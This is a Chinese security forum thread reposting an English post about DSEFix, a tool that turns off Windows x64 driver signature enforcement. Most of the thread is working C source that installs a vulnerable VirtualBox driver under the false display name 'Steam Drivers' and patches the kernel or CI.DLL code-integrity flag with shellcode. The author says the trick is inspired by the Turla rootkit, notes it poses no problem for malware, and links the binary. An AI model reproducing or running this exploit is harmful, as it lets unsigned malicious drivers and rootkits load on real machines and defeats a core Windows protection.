[go: nahoru, domu]

 找回密码
 加入我们

QQ登录

只需一步,快速开始

搜索
查看: 9169|回复: 2

[转载]DSEFix - Defeating x64 Driver Signature Enforcement

[复制链接]

854

主题

2629

回帖

2

精华

管理员

此生无悔入华夏,  长居日耳曼尼亚。  

积分
36102
发表于 2014-6-13 17:45:11 | 显示全部楼层 |阅读模式
原文:http://www.kernelmode.info/forum/viewtopic.php?f=11&t=3322
今天有朋友告诉我,某个爱抄袭的家伙觉得用白名单驱动过DSE才是高大上的方式,而且只放BIN不放SRC,于是我就把这个用白名单驱动过DSE的帖子转来给大家欣赏,BIN和SRC都有。{:soso_e113:}
We are so happy that most of "rootkit" code inside Turla was inspired by our program and features (this level of awareness is never seen anywhere in ITW malware since Rustock), so we decided to create something inspired by Turla in sort of exchange.

What is Driver Signature Enforcement? It is a security feature added to the NT6 which main purpose is to disallow loading drivers without digital signing, see http://msdn.microsoft.com/en-us/library/windows/hardware/dn653559(v=vs.85).aspx for more info. In reality this is yet another marketing bullshit from MS which ruined many freeware programs, and didn't fixed anything in antimalware field - if malware authors really want to load their driver - they will do this. Mainstream crapware like ssdt hooking trash were dying even without this "improvements" because of PatchGuard which in my opinion much better security feature. And how they implemented this DSE feature. Like many of security features inside MS Windows it is implemented by a single variable flag and casual "IF" statement. The internals of this "security feature" are well described in the web.

The 2 major versions of this feature.

First version built-in Vista and without any noticeable changes in Seven. It is based on global private variable g_CiEnabled (type of BOOLEAN) and "if" checks inside private SepInitializeCodeIntegrity routine.

Second version present since Windows 8 - where the above variable was removed and DSE state now controlled via another global variable (this time initialized in CI.DLL) called g_CiOptions inside CipInitialize routine. This is variable that holds combination of flags - by default it value is 6, without DSE it value set to 0 (you can check this by configuring Windows to boot without DSE).
To make life of WinRT jailbreakers harder MS protected this variable by PatchGuard in 8.1 <- this doesn't affect malware anyhow, why? See below. So like in the past of Vista introduced "Protected Processes" all security based on checking one variable.

How Turla works with DSE? It turns it off with help of old VirtualBox driver that have bug allowing to write and execute code in the kernel mode and as result overwrite certain kernel address. The last available rootkit dated end of 2013 wasn't able to run on Windows 8. There two major reasons why - because it can't disable DSE and PatchGuard. They both changed starting Windows 8. About PatchGuard like Cr4sh said "If your Windows rootkit disabling PatchGuard in any ways -- you probably misunderstanding the rootkits conception." And they were unable to disable DSE because of lack of ready to use source code. Funny yes.

This proclaimed to be goverment sponsored lolkit in a reality is just a result, a compilation of several freelancers work (from both UA and RU) to create and support toolkit they sell for various kinds of espionage. For idiots from BAE Systems who are painting fake malware distribution diagrams in the Excel - No KGB or Kremlin here, guys, take a pill and relax with your prepaid propaganda.

So we would like to reimplement this part of Turla, update "Kremlin hand". Additionally we have fixed original Turla bug disallowing it multiple exploitations.

You use this software at your OWN RISK. It was mainly tested on Vista/7/8.1, this program requires admin rights to run, because of driver loading. This program is not malware no matter what AV think or will be thinking in the future.

For 8.1. case - due to PatchGuard checking routine delay - you need to quickly load your unsigned driver and then restore state of g_CiOptions to avoid wonderful BSOD. Again not a problem for a malware.

running dsefix without parameters turns off DSE, to restore DSE run dsefix with -e parameter.

https://www.virustotal.com/en/fi ... nalysis/1402216763/

In case of certificate revocation - bugged VirtualBox driver can be replaced with more fresh

In case if something doesn't work, you found a bug or you want to copy-paste with your own copyrights here is partial source code.

main.cpp:
  1. #include "ntdll\ntdll.h"
  2. #include "ntdll\ntstatus.h"
  3. #include "main.h"
  4. #include "vbox.h"
  5. #include "vboxdrv.h"
  6. #include "ldasm.h"
  7. #include "rtls\prtl.h"
  8. #include "ntdll\winnative.h"

  9. #pragma data_seg("Shared")
  10. volatile LONG g_lApplicationInstances = 0;
  11. #pragma data_seg()
  12. #pragma comment(linker, "/Section:Shared,RWS")


  13. RTL_OSVERSIONINFOEXW      osv;

  14. //disable DSE (vista+)
  15. const unsigned char shellcode[] = {   /* xor rax, rax */
  16.    0x48, 0x31, 0xc0, 0xc3            /* ret */
  17. };

  18. //enabled DSE (win8+)
  19. const unsigned char shellcode2[] = {    /* xor rax, rax */
  20.    0x48, 0x31, 0xc0, 0xb0, 0x06, 0xc3  /* mov al, 6 */
  21. };                                      /* ret */  

  22. //enabled DSE (vista+)
  23. const unsigned char shellcode3[] = {    /* xor rax, rax */
  24.    0x48, 0x31, 0xc0, 0xb0, 0x01, 0xc3  /* mov al, 1 */
  25. };                                      /* ret */  


  26. DWORD align_gt(DWORD p, DWORD align)
  27. {
  28.    if ( (p % align) == 0 )
  29.       return p;

  30.    return p + align - (p % align);
  31. }

  32. DWORD align_le(DWORD p, DWORD align)
  33. {
  34.    if ( (p % align) == 0 )
  35.       return p;

  36.    return p - (p % align);
  37. }

  38. LPVOID PELoaderLoadImage(IN LPVOID Buffer, PDWORD SizeOfImage)
  39. {
  40.    LPVOID               exeBuffer = NULL;
  41.    PIMAGE_DOS_HEADER      dosh = (PIMAGE_DOS_HEADER)Buffer;
  42.    PIMAGE_FILE_HEADER      fileh = (PIMAGE_FILE_HEADER)((PBYTE)dosh + sizeof(DWORD) + dosh->e_lfanew);
  43.    PIMAGE_OPTIONAL_HEADER   popth = (PIMAGE_OPTIONAL_HEADER)((PBYTE)fileh + sizeof(IMAGE_FILE_HEADER));
  44.    PIMAGE_SECTION_HEADER   sections = (PIMAGE_SECTION_HEADER)((PBYTE)fileh + sizeof(IMAGE_FILE_HEADER) + fileh->SizeOfOptionalHeader);
  45.    DWORD               c, p, rsz;
  46.    PIMAGE_BASE_RELOCATION   rel;
  47.    DWORD_PTR            delta;
  48.    LPWORD               chains;

  49.    do {

  50.       *SizeOfImage = popth->SizeOfImage;
  51.       exeBuffer = VirtualAlloc(NULL, popth->SizeOfImage, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
  52.       if ( exeBuffer == NULL )
  53.          break;

  54.       // render image
  55.       memcpy(exeBuffer, Buffer, align_gt(popth->SizeOfHeaders, popth->FileAlignment));

  56.       for (c=0; c<fileh->NumberOfSections; c++)
  57.          if ( (sections[c].SizeOfRawData > 0) && (sections[c].PointerToRawData > 0) )
  58.             memcpy( (PBYTE)exeBuffer + sections[c].VirtualAddress,
  59.                   (PBYTE)Buffer + align_le(sections[c].PointerToRawData, popth->FileAlignment),
  60.                   align_gt(sections[c].SizeOfRawData, popth->FileAlignment) );

  61.       // reloc image
  62.       dosh = (PIMAGE_DOS_HEADER)exeBuffer;
  63.       fileh = (PIMAGE_FILE_HEADER)((PBYTE)dosh + sizeof(DWORD) + dosh->e_lfanew);
  64.       popth = (PIMAGE_OPTIONAL_HEADER)((PBYTE)fileh + sizeof(IMAGE_FILE_HEADER));
  65.       sections = (PIMAGE_SECTION_HEADER)((PBYTE)fileh + sizeof(IMAGE_FILE_HEADER) + fileh->SizeOfOptionalHeader);

  66.       if ( popth->NumberOfRvaAndSizes > IMAGE_DIRECTORY_ENTRY_BASERELOC )
  67.          if ( popth->DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress != 0 )
  68.          {
  69.             rel = (PIMAGE_BASE_RELOCATION)((PBYTE)exeBuffer + popth->DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress);
  70.             rsz = popth->DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size;
  71.             delta = (DWORD_PTR)exeBuffer - popth->ImageBase;

  72.             c = 0;
  73.             while ( c < rsz ) {
  74.                p = sizeof(IMAGE_BASE_RELOCATION);
  75.                chains = (LPWORD)((PBYTE)rel + p);

  76.                while ( p < rel->SizeOfBlock ) {

  77.                   switch (*chains >> 12) {
  78.                   case IMAGE_REL_BASED_HIGHLOW:
  79.                      *(LPDWORD)((ULONG_PTR)exeBuffer + rel->VirtualAddress + (*chains & 0x0fff) ) += (DWORD)delta;
  80.                      break;
  81.                   case IMAGE_REL_BASED_DIR64:
  82.                      *(PULONGLONG)((ULONG_PTR)exeBuffer + rel->VirtualAddress + (*chains & 0x0fff) ) += delta;
  83.                      break;
  84.                   }

  85.                   chains++;
  86.                   p += sizeof(WORD);
  87.                }

  88.                c += rel->SizeOfBlock;
  89.                rel = (PIMAGE_BASE_RELOCATION)((PBYTE)rel + rel->SizeOfBlock);
  90.             }
  91.          }
  92.       
  93.       return exeBuffer;
  94.    } while ( FALSE );

  95.    return NULL;
  96. }

  97. LPVOID PELoaderGetProcAddress(LPVOID ImageBase, PCHAR RoutineName )
  98. {
  99.    PIMAGE_EXPORT_DIRECTORY      ExportDirectory = NULL;
  100.    PIMAGE_FILE_HEADER         fh1  = NULL;
  101.    PIMAGE_OPTIONAL_HEADER32   oh32 = NULL;
  102.    PIMAGE_OPTIONAL_HEADER64   oh64 = NULL;

  103.    USHORT      OrdinalNumber;
  104.    PULONG      NameTableBase;
  105.    PUSHORT      NameOrdinalTableBase;
  106.    PULONG      Addr;
  107.    LONG      Result;
  108.    ULONG      High, Low, Middle = 0;

  109.    fh1 = (PIMAGE_FILE_HEADER)((ULONG_PTR)ImageBase + ((PIMAGE_DOS_HEADER)ImageBase)->e_lfanew + sizeof(DWORD) );
  110.    oh32 = (PIMAGE_OPTIONAL_HEADER32)((ULONG_PTR)fh1 + sizeof(IMAGE_FILE_HEADER));
  111.    oh64 = (PIMAGE_OPTIONAL_HEADER64)oh32;

  112.    if (fh1->Machine == IMAGE_FILE_MACHINE_AMD64) {
  113.       ExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((ULONG_PTR)ImageBase +
  114.          oh64->DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
  115.    } else {
  116.       ExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((ULONG_PTR)ImageBase +
  117.          oh32->DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
  118.    }

  119.    NameTableBase = (PULONG)((PBYTE)ImageBase + (ULONG)ExportDirectory->AddressOfNames);
  120.    NameOrdinalTableBase = (PUSHORT)((PBYTE)ImageBase + (ULONG)ExportDirectory->AddressOfNameOrdinals);
  121.    Low = 0;
  122.    High = ExportDirectory->NumberOfNames - 1;
  123.    while (High >= Low)   {

  124.       Middle = (Low + High) >> 1;

  125.       Result = _strcmpA(
  126.          RoutineName,
  127.          (char *)ImageBase + NameTableBase[Middle]
  128.          );

  129.       if (Result < 0)   {

  130.          High = Middle - 1;

  131.       } else {

  132.          if (Result > 0)   {

  133.             Low = Middle + 1;
  134.             
  135.          } else {

  136.             break;
  137.          }
  138.       }
  139.    } //while
  140.    if (High < Low)   
  141.       return NULL;

  142.    OrdinalNumber = NameOrdinalTableBase[Middle];
  143.    if ((ULONG)OrdinalNumber >= ExportDirectory->NumberOfFunctions)
  144.       return NULL;

  145.    Addr = (PULONG)((PBYTE)ImageBase + (ULONG)ExportDirectory->AddressOfFunctions);
  146.    return (LPVOID)((PBYTE)ImageBase + Addr[OrdinalNumber]);
  147. }

  148. BOOL ControlDSE(HANDLE hDriver, ULONG_PTR g_CiAddress, PVOID shellcode)
  149. {
  150.    BOOL         bRes = FALSE;
  151.    SUPCOOKIE      Cookie;
  152.    SUPLDROPEN      OpenLdr;
  153.    DWORD         bytesIO = 0;
  154.    PVOID         ImageBase = NULL;
  155.    PSUPLDRLOAD      pLoadTask = NULL;
  156.    SUPSETVMFORFAST vmFast;

  157.    if (!ARGUMENT_PRESENT(hDriver))
  158.       return FALSE;
  159.    if (!ARGUMENT_PRESENT(g_CiAddress))
  160.       return FALSE;
  161.    if (!ARGUMENT_PRESENT(shellcode))
  162.       return FALSE;

  163.    memset(&Cookie, 0, sizeof(SUPCOOKIE));

  164.    Cookie.Hdr.u32Cookie = SUPCOOKIE_INITIAL_COOKIE;
  165.    Cookie.Hdr.cbIn =  SUP_IOCTL_COOKIE_SIZE_IN;
  166.    Cookie.Hdr.cbOut = SUP_IOCTL_COOKIE_SIZE_OUT;
  167.    Cookie.Hdr.fFlags = SUPREQHDR_FLAGS_DEFAULT;
  168.    Cookie.Hdr.rc = 0;
  169.    Cookie.u.In.u32ReqVersion = 0;
  170.    Cookie.u.In.u32MinVersion = 0x00070002;
  171.    _strcpyA(Cookie.u.In.szMagic, SUPCOOKIE_MAGIC);

  172.    if (!DeviceIoControl(hDriver, SUP_IOCTL_COOKIE, &Cookie, SUP_IOCTL_COOKIE_SIZE_IN, &Cookie,
  173.       SUP_IOCTL_COOKIE_SIZE_OUT, &bytesIO, NULL)) goto fail;

  174.    memset(&OpenLdr, 0, sizeof(OpenLdr));

  175.    OpenLdr.Hdr.u32Cookie = Cookie.u.Out.u32Cookie;
  176.    OpenLdr.Hdr.u32SessionCookie = Cookie.u.Out.u32SessionCookie;
  177.    OpenLdr.Hdr.cbIn = SUP_IOCTL_LDR_OPEN_SIZE_IN;
  178.    OpenLdr.Hdr.cbOut = SUP_IOCTL_LDR_OPEN_SIZE_OUT;
  179.    OpenLdr.Hdr.fFlags = SUPREQHDR_FLAGS_DEFAULT;
  180.    OpenLdr.Hdr.rc = 0;
  181.    OpenLdr.u.In.cbImage = sizeof(OpenLdr.u.In.szName);
  182.    OpenLdr.u.In.szName[0] = 'a';
  183.    OpenLdr.u.In.szName[1] = 0;

  184.    if (!DeviceIoControl(hDriver, SUP_IOCTL_LDR_OPEN, &OpenLdr, SUP_IOCTL_LDR_OPEN_SIZE_IN,
  185.       &OpenLdr, SUP_IOCTL_LDR_OPEN_SIZE_OUT, &bytesIO, NULL)) goto fail;

  186.    ImageBase = OpenLdr.u.Out.pvImageBase;

  187.    pLoadTask = (PSUPLDRLOAD)VirtualAlloc(NULL, 0x90, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
  188.    if (pLoadTask == NULL) goto fail;

  189.    memset(pLoadTask, 0, 0x90);

  190.    pLoadTask->Hdr.u32Cookie = Cookie.u.Out.u32Cookie;
  191.    pLoadTask->Hdr.u32SessionCookie = Cookie.u.Out.u32SessionCookie;
  192.    pLoadTask->Hdr.cbIn = 0x88;
  193.    pLoadTask->Hdr.cbOut = SUP_IOCTL_LDR_LOAD_SIZE_OUT;
  194.    pLoadTask->Hdr.fFlags =  SUPREQHDR_FLAGS_MAGIC;
  195.    pLoadTask->Hdr.rc = 0;
  196.    pLoadTask->u.In.eEPType = SUPLDRLOADEP_VMMR0;
  197.    pLoadTask->u.In.pvImageBase = (RTR0PTR)ImageBase;
  198.    pLoadTask->u.In.EP.VMMR0.pvVMMR0 = (RTR0PTR)(ULONG_PTR)0x1000;
  199.    pLoadTask->u.In.EP.VMMR0.pvVMMR0EntryEx = (RTR0PTR)ImageBase;
  200.    pLoadTask->u.In.EP.VMMR0.pvVMMR0EntryFast = (RTR0PTR)ImageBase;
  201.    pLoadTask->u.In.EP.VMMR0.pvVMMR0EntryInt = (RTR0PTR)ImageBase;
  202.    memcpy(pLoadTask->u.In.achImage, shellcode, sizeof(shellcode));
  203.    pLoadTask->u.In.cbImage = 0x20;

  204.    if (!DeviceIoControl(hDriver, SUP_IOCTL_LDR_LOAD, pLoadTask, 0x88,
  205.       pLoadTask, sizeof(SUPREQHDR), &bytesIO, NULL)) goto fail;

  206.    vmFast.Hdr.u32Cookie = Cookie.u.Out.u32Cookie;
  207.    vmFast.Hdr.u32SessionCookie = Cookie.u.Out.u32SessionCookie;
  208.    vmFast.Hdr.rc = 0;
  209.    vmFast.Hdr.fFlags = SUPREQHDR_FLAGS_DEFAULT;
  210.    vmFast.Hdr.cbIn = SUP_IOCTL_SET_VM_FOR_FAST_SIZE_IN;
  211.    vmFast.Hdr.cbOut = SUP_IOCTL_SET_VM_FOR_FAST_SIZE_OUT;
  212.    vmFast.u.In.pVMR0 = (PVOID)(ULONG_PTR)0x1000;

  213.    if (!DeviceIoControl(hDriver, SUP_IOCTL_SET_VM_FOR_FAST, &vmFast, SUP_IOCTL_SET_VM_FOR_FAST_SIZE_IN,
  214.       &vmFast, SUP_IOCTL_SET_VM_FOR_FAST_SIZE_OUT, &bytesIO, NULL)) goto fail;


  215.    bRes = DeviceIoControl(hDriver, SUP_IOCTL_FAST_DO_NOP, (LPVOID)g_CiAddress, 0, (LPVOID)g_CiAddress, 0, &bytesIO, NULL);

  216. fail:
  217.    if (pLoadTask != NULL) VirtualFree(pLoadTask, 0, MEM_RELEASE);
  218.    if (hDriver != NULL) CloseHandle(hDriver);
  219.    return bRes;
  220. }

  221. BOOL DoWork(HANDLE hDriver, BOOL bDisable)
  222. {
  223.    BOOL                  bRes = FALSE;
  224.    PRTL_PROCESS_MODULES      miSpace = NULL;
  225.    ULONG                  rl = 0, c;
  226.    LONG                  rel = 0;
  227.    NTSTATUS               ntStatus = STATUS_UNSUCCESSFUL;
  228.    CHAR                  KernelFullPathName[BUFFER_SIZE];
  229.    CHAR                  textbuf[BUFFER_SIZE];
  230.    PVOID                  sc = NULL, kBuffer = NULL, MappedKernel = NULL;
  231.    PBYTE                  CiInit = NULL;
  232.    ULONG_PTR               KernelBase = 0L;
  233.    HANDLE                  hFile = INVALID_HANDLE_VALUE;
  234.    LARGE_INTEGER            fsz;
  235.    ldasm_data               ld;

  236.    if (!ARGUMENT_PRESENT(hDriver))
  237.       return FALSE;

  238.    do {

  239.       miSpace = (PRTL_PROCESS_MODULES)VirtualAllocEx(GetCurrentProcess(), NULL, 1024*1024, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
  240.       if ( miSpace == NULL )
  241.          break;
  242.       
  243.       ntStatus = NtQuerySystemInformation(SystemModuleInformation, miSpace, 1024*1024, &rl);
  244.       if ( !NT_SUCCESS(ntStatus) )
  245.          break;

  246.       if ( miSpace->NumberOfModules == 0 )
  247.          break;

  248.       rl = GetSystemDirectoryA(KernelFullPathName, MAX_PATH);
  249.       if ( rl == 0 )
  250.          break;
  251.       
  252.       KernelFullPathName[rl] = (CHAR)'\\';
  253.       
  254.       
  255.       _strcpyA(textbuf, "[DF] Windows v");
  256.       ultostrA(osv.dwMajorVersion, _strendA(textbuf));
  257.       _strcatA(textbuf, ".");
  258.       ultostrA(osv.dwMinorVersion, _strendA(textbuf));
  259.       OutputDebugStringA(textbuf);


  260.       if ( osv.dwMinorVersion < 2 ) {
  261.          _strcpyA(&KernelFullPathName[rl+1], (const char*)&miSpace->Modules[0].FullPathName[miSpace->Modules[0].OffsetToFileName]);
  262.          KernelBase = (ULONG_PTR)miSpace->Modules[0].ImageBase;
  263.       } else {
  264.          _strcpyA(&KernelFullPathName[rl+1], "CI.DLL");
  265.          for (c=0; c<miSpace->NumberOfModules; c++)
  266.             if ( _strcmpiA((const char *)&miSpace->Modules[c].FullPathName[miSpace->Modules[c].OffsetToFileName], "CI.DLL") == 0 ) {
  267.                KernelBase = (ULONG_PTR)miSpace->Modules[c].ImageBase;
  268.                break;
  269.             }
  270.       }

  271.       VirtualFreeEx(GetCurrentProcess(), miSpace, 0, MEM_RELEASE);
  272.       miSpace = NULL;


  273.       _strcpyA(textbuf, "[DF] Target module ");
  274.       _strcatA(textbuf, KernelFullPathName);
  275.       OutputDebugStringA(textbuf);


  276.       hFile = CreateFileA(KernelFullPathName, SYNCHRONIZE | FILE_READ_DATA, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL);

  277.       _strcpyA(textbuf, "[DF] Module base ");
  278.       u64tohexA(KernelBase, _strendA(textbuf));
  279.       OutputDebugStringA(textbuf);

  280.       if ( hFile == INVALID_HANDLE_VALUE )
  281.          break;
  282.       fsz.QuadPart = 0;
  283.       GetFileSizeEx(hFile, &fsz);

  284.       kBuffer = (PRTL_PROCESS_MODULES)VirtualAllocEx(GetCurrentProcess(), NULL, fsz.LowPart, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
  285.       if ( kBuffer == NULL )
  286.          break;
  287.       if ( !ReadFile(hFile, kBuffer, fsz.LowPart, &rl, NULL) )
  288.          break;
  289.       CloseHandle(hFile);
  290.       hFile = INVALID_HANDLE_VALUE;

  291.       MappedKernel = PELoaderLoadImage(kBuffer, &rl);
  292.       if (MappedKernel == NULL)
  293.          break;

  294.       VirtualFreeEx(GetCurrentProcess(), kBuffer, 0, MEM_RELEASE);
  295.       kBuffer = NULL;
  296.       
  297.       /* find g_CiEnabled vista, seven */
  298.       if ( osv.dwMinorVersion < 2 ) {
  299.          for (c=0; c<rl-sizeof(DWORD); c++) {
  300.             if ( *(PDWORD)((PBYTE)MappedKernel + c) == 0x1d8806eb ) {
  301.                rel = *(PLONG)((PBYTE)MappedKernel + c+4);
  302.                KernelBase = KernelBase + c+8 + rel;
  303.                break;
  304.             }
  305.          }
  306.       } else {
  307.          /* find g_CiOptions w8, blue */
  308.          CiInit = (PBYTE)PELoaderGetProcAddress(MappedKernel, "CiInitialize");
  309.          c=0;
  310.          do {
  311.             if ( CiInit[c] == 0xE9 ) {      /* jmp CipInitialize */
  312.                rel = *(PLONG)(CiInit+c+1);
  313.                break;
  314.             }
  315.             c += ldasm(CiInit+c, &ld, 1);
  316.          } while (c < 256);
  317.          CiInit = CiInit + c+5 + rel;
  318.          c=0;
  319.          do {
  320.             if ( *(PUSHORT)(CiInit+c) == 0x0d89 ) {
  321.                rel = *(PLONG)(CiInit+c+2);
  322.                break;
  323.             }
  324.             c += ldasm(CiInit+c, &ld, 1);
  325.          } while (c < 256);
  326.          CiInit = CiInit + c+6 + rel;
  327.          KernelBase = KernelBase + CiInit - (PBYTE)MappedKernel;
  328.       }

  329.       if ( rel == 0 )
  330.          break;

  331.       _strcpyA(textbuf, "[DF] Apply patch to address ");
  332.       u64tohexA(KernelBase, _strendA(textbuf));
  333.       OutputDebugStringA(textbuf);

  334.       if (bDisable) {
  335.          sc = (PVOID)shellcode;
  336.       } else {
  337.          //vista+
  338.          if ( osv.dwMinorVersion < 2 ) {
  339.             sc = (PVOID)shellcode3;
  340.          } else {
  341.             //8+
  342.             sc = (PVOID)shellcode2;
  343.          }
  344.       }

  345.       bRes = ControlDSE(hDriver, KernelBase, sc);

  346.    } while ( FALSE );


  347.    if ( hFile != INVALID_HANDLE_VALUE )
  348.       CloseHandle(hFile);
  349.    if ( kBuffer != NULL )
  350.       VirtualFreeEx(GetCurrentProcess(), kBuffer, 0, MEM_RELEASE);
  351.    if ( MappedKernel != NULL )
  352.       VirtualFreeEx(GetCurrentProcess(), MappedKernel, 0, MEM_RELEASE);
  353.    if ( miSpace != NULL )
  354.       VirtualFreeEx(GetCurrentProcess(), miSpace, 0, MEM_RELEASE);


  355.    return bRes;
  356. }

  357. HANDLE LoadVulnerableDriver(
  358.    VOID
  359.    )
  360. {
  361.    HANDLE                hDriver = NULL;
  362.    NTSTATUS             Status = STATUS_UNSUCCESSFUL;
  363.    UNICODE_STRING       drvname;
  364.    OBJECT_ATTRIBUTES    attr;
  365.    WCHAR                szDriverBuffer[BUFFER_SIZE];   

  366.    RtlSecureZeroMemory(szDriverBuffer, BUFFER_SIZE);
  367.    _strcpyW(szDriverBuffer, L"\\??\");

  368.    if (GetSystemDirectory(&szDriverBuffer[4], MAX_PATH)) {

  369.       _strcatW(szDriverBuffer, L"\\drivers\\ultra4.sys");

  370.       Status = (NTSTATUS)NativeWriteBufferToFile(&szDriverBuffer[4], VBoxDrv,
  371.          sizeof(VBoxDrv), FALSE, FALSE);

  372.       if ( NT_SUCCESS(Status) ) {
  373.          Status = NativeLoadDriver(szDriverBuffer, VBoxDrvRegPath, VBoxDrvDispName);
  374.          if ( NT_SUCCESS(Status) ) {
  375.             hDriver = NativeOpenDevice(VBoxDrvDevName, NULL);
  376.          }

  377.          RtlInitUnicodeString(&drvname, szDriverBuffer);
  378.          InitializeObjectAttributes(&attr, &drvname, OBJ_CASE_INSENSITIVE, 0, NULL);
  379.          NtDeleteFile(&attr);
  380.       }
  381.    }
  382.    return hDriver;
  383. }

  384. void UnloadVulnerableDriver(
  385.    VOID
  386.    )
  387. {
  388.    NativeUnLoadDriver(VBoxDrvRegPath);
  389.    NativeRegDeleteKeyRecursive(0, VBoxDrvRegPath);
  390. }

  391. void main()
  392. {
  393.    LONG x;
  394.    ULONG l = 0;
  395.    HANDLE hDriver = NULL;
  396.    WCHAR cmdLineParam[MAX_PATH];
  397.    BOOL bDisable = TRUE;
  398.    
  399.    OutputDebugStringA("[DF] DSEFIX v1.0 started (c) 2014 EP_X0FF, MP_ART, nrin");
  400.    OutputDebugStringA("[DF] Supported x64 OS: from NT6.0 up to NT6.3");

  401.    x = InterlockedIncrement((PLONG)&g_lApplicationInstances);
  402.    if ( x > 1 ) {
  403.       InterlockedDecrement((PLONG)&g_lApplicationInstances);
  404.       OutputDebugStringA("[DF] Another instance running, close it before");
  405.       ExitProcess(0);
  406.       return;
  407.    }

  408.    RtlSecureZeroMemory(&osv, sizeof(osv));
  409.    osv.dwOSVersionInfoSize = sizeof(osv);
  410.    RtlGetVersion((PRTL_OSVERSIONINFOW)&osv);
  411.    if ( osv.dwMajorVersion != 6 ) {
  412.                 InterlockedDecrement((PLONG)&g_lApplicationInstances);
  413.       OutputDebugStringA("[DF] Unsuppoted OS");
  414.       ExitProcess(0);
  415.       return;
  416.    }

  417.    RtlSecureZeroMemory(cmdLineParam, sizeof(cmdLineParam));
  418.    GetCommandLineParamW(GetCommandLineW(), 1, cmdLineParam, MAX_PATH, &l);

  419.    if ( _strcmpiW(cmdLineParam, L"-e") == 0 ) {
  420.       OutputDebugStringA("[DF] DSE will be (re)enabled");
  421.       bDisable = FALSE;
  422.    } else {
  423.       OutputDebugStringA("[DF] DSE will be disabled");
  424.       bDisable = TRUE;
  425.    }

  426.    //assign driver load privilege
  427.    if (NT_SUCCESS(NativeAdjustPrivileges(SE_LOAD_DRIVER_PRIVILEGE))) {

  428.       OutputDebugStringA("[DF] Load driver privilege adjusted");

  429.       hDriver = LoadVulnerableDriver();
  430.       if (hDriver != NULL) {

  431.          OutputDebugStringA("[DF] Vulnerable driver loaded");

  432.          //manupulate kernel variable      
  433.          if (DoWork(hDriver, bDisable)) {
  434.             OutputDebugStringA("[DF] Kernel memory patched");
  435.          } else {
  436.             OutputDebugStringA("[DF] Failed to patch kernel memory");
  437.          }

  438.          OutputDebugStringA("[DF] Cleaning up");
  439.          UnloadVulnerableDriver();
  440.       } else {
  441.          OutputDebugStringA("[DF] Failed to load vulnerable driver");
  442.       }

  443.    } else {
  444.       OutputDebugStringA("[DF] Cannot adjust privilege");
  445.    }
  446.    InterlockedDecrement((PLONG)&g_lApplicationInstances);
  447.    OutputDebugStringA("[DF] Finish");
  448.    ExitProcess(0);
  449. }
复制代码



main.h
  1. #define BUFFER_SIZE MAX_PATH * 2
  2. #define VBoxDrvDispName L"Steam Drivers"
  3. #define VBoxDrvRegPath   L"\\Registry\\Machine\\System\\CurrentControlSet\\Services\\vboxdrv"
  4. #define VBoxDrvDevName  L"\\Device\\VBoxDrv"
复制代码



vboxdrv.h is a translated to C array binary of vulnerable driver
vbox header -> http://www.kernelmode.info/forum/viewtopic.php?p=22363#p22363
ldasm -> https://github.com/vol4ok/libspl ... ibsplice_km/ldasm.c
1e0yopS.png
dsefix.rar (34.52 KB, 下载次数: 2867)

0

主题

20

回帖

0

精华

金牌会员

积分
1043
发表于 2014-6-13 17:56:55 | 显示全部楼层
沙发,应该是MS出补丁后才把源码放出来吧

0

主题

36

回帖

0

精华

铜牌会员

积分
70
发表于 2014-6-17 14:29:16 | 显示全部楼层
楼主帖子附近还有一篇用VBox的驱动的漏洞禁用DSE的,咱就不做搬运工了。
您需要登录后才可以回帖 登录 | 加入我们

本版积分规则

快速回复 返回顶部 返回列表